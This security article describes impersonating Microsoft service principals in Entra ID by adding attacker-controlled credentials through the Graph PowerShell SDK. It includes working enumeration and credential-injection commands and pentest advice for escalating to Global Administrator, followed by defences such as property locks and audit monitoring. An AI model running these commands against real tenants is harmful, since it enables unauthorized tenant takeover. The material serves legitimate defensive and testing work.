How to Hijack Microsoft Service Principals via OAuth 2.0 Client Credential Grant Flow

TLDR: Researchers have identified a method to impersonate Microsoft service principals by abusing the OAuth 2.0 client credential grant flow in Entra ID. By assigning new credentials to existing service principals, attackers can gain unauthorized access to the Microsoft Graph API and perform privileged actions within a tenant. Security teams should audit their environments for unusual service principal credential assignments and implement app instance property locks to prevent this escalation.

Identity is the new perimeter, but we keep building that perimeter out of wet cardboard. Every time a new cloud service launches, we assume the underlying authorization model is sound. We rarely stop to ask if the service principal running in the background of our tenant is actually as restricted as the documentation claims. The recent research into the OAuth 2.0 client credential grant flow (CCGF) within Entra ID proves that even the most fundamental components of our cloud infrastructure can be weaponized if we treat them as black boxes.

The Mechanics of the Impersonation

At the heart of this issue is how multi-tenant applications interact with the Microsoft Graph API. When a developer registers a multi-tenant application, they define specific permissions. When a customer tenant consents to that application, a service principal is created in the customer's environment. This service principal acts as a security identity, and like any other identity, it can be assigned credentials.

The vulnerability arises because the Application Administrator role, while seemingly limited to managing application objects, can be leveraged to assign new credentials to these service principals. If an attacker compromises an account with the Application Administrator role, they do not need to find a zero-day exploit. They simply need to identify a service principal that supports the CCGF and attach a new, attacker-controlled credential to it.

Once the credential is attached, the attacker can authenticate as that service principal. Because the service principal already has the necessary permissions to interact with the Graph API, the attacker inherits those rights. They are effectively "borrowing" the identity of a trusted application to perform actions that the original developer or the tenant administrator never intended.

Exploiting the Flow

The exploitation process is straightforward for anyone familiar with the Microsoft Graph PowerShell SDK. The goal is to identify service principals that have an app owner tenant ID matching Microsoft, which indicates they are likely first-party applications.

$spn = Get-MgServicePrincipal -All $true | Where-Object { $_.AppOwnerTenantId -like "f8cdef31-a31e-4b4a-93e4-5f571691255a" }
$cred = New-MgServicePrincipalPasswordCredential -ServicePrincipalId $spn.Id -DisplayName "AttackerCred" -EndDateTime (Get-Date).AddDays(30)

After executing this, the attacker has a valid password credential for the service principal. They can then connect to the Graph API using these credentials and perform actions based on the permissions assigned to that specific service principal. During the research, it was discovered that several first-party applications, including the Device Registration Service, were susceptible to this manipulation.

Real-World Impact and Engagement

For a pentester, this is a goldmine. During an engagement, your goal is to move from a low-privilege user to a Global Administrator. If you land in a tenant where you have Application Administrator rights, you should immediately pivot to auditing the service principals. You are looking for any service principal that has been granted high-privilege scopes, such as Directory.ReadWrite.All or AppRoleAssignment.ReadWrite.All.

The impact is total tenant compromise. If you can manipulate a service principal that has the ability to assign roles, you can grant yourself Global Administrator privileges. This bypasses traditional conditional access policies because the authentication is happening via a service principal, which often operates outside the scope of standard user-based MFA requirements.

Defending Against the Abuse

Defending against this requires a shift in how we view service principals. They are not just background processes; they are high-value targets. Organizations must treat the Application Administrator role with the same level of scrutiny as a Global Administrator.

The most effective mitigation is the use of App Instance Property Locks. This feature prevents the modification of sensitive properties on an application, including the addition of new credentials. By locking down critical service principals, you ensure that even if an attacker gains administrative access to the application object, they cannot attach their own keys to it.

Additionally, you must monitor your audit logs for the Add service principal credentials operation. This is a high-fidelity signal. If you see this activity occurring in your environment, it should trigger an immediate incident response process. Most organizations have the telemetry, but few have the correlation rules to catch this specific behavior. Stop treating service principals as invisible infrastructure and start monitoring them as the powerful identities they are.